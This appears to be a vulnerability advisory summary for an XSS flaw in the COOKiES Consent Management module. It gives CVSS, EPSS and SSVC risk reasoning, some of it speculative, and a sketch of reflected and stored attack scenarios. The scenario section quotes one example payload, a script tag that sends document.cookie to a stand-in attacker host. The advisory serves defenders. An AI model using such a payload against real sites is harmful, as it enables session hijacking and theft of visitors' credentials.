Cookies Consent Management EUVD-2025-18289

CVSS 8.6 with AV:N/AC:L/PR:N/UI:N indicates severe attack accessibility: the vulnerability is remotely exploitable without authentication or user interaction, placing it in the High/Critical realm. The attack complexity is Low, meaning no special conditions are required. However, real-world risk assessment requires additional context: (1) EPSS data is not provided, but based on the attack vector and ease of exploitation, estimated EPSS would likely exceed 0.90 (very high exploitation probability); (2) KEV status unknown—if not in CISA KEV catalog, active exploitation may be limited despite high CVSS; (3) Stored vs. Reflected distinction matters: if Stored XSS, impact is amplified (affects all users viewing affected content); Reflected reduces scope to targeted phishing. (4) SSVC framework analysis: if exploitation is unproven (no public PoC), technical impact is High (C/I/A compromised), and patching is available, priority is High but not Critical. If exploitation becomes automated, priority escalates to Critical. The lack of authentication requirement and low complexity are significant aggravating factors, making this a genuine priority despite uncertainty around active exploitation.

An attacker crafts a malicious URL or form submission containing JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) targeting a parameter processed by the COOKiES Consent Management module, such as a custom banner text field or tracking ID. If Reflected XSS: attacker sends the URL to a victim via email or embeds it in a webpage; when the victim visits, the script executes in their browser, stealing session cookies or injecting a fake consent form to capture email addresses. If Stored XSS: attacker injects the payload via a poorly-protected admin form or public input field; every user who visits the site thereafter executes the malicious script, enabling large-scale session hijacking, malware distribution, or credential harvesting. No user interaction is required (UI:N per CVSS), and the attack succeeds against any unpatched instance. Realistic scenario: attacker targets a website using COOKiES Consent Management, injects malicious script into the cookie consent banner text field, and steals visitors' authentication tokens to perform unauthorized actions as legitimate users.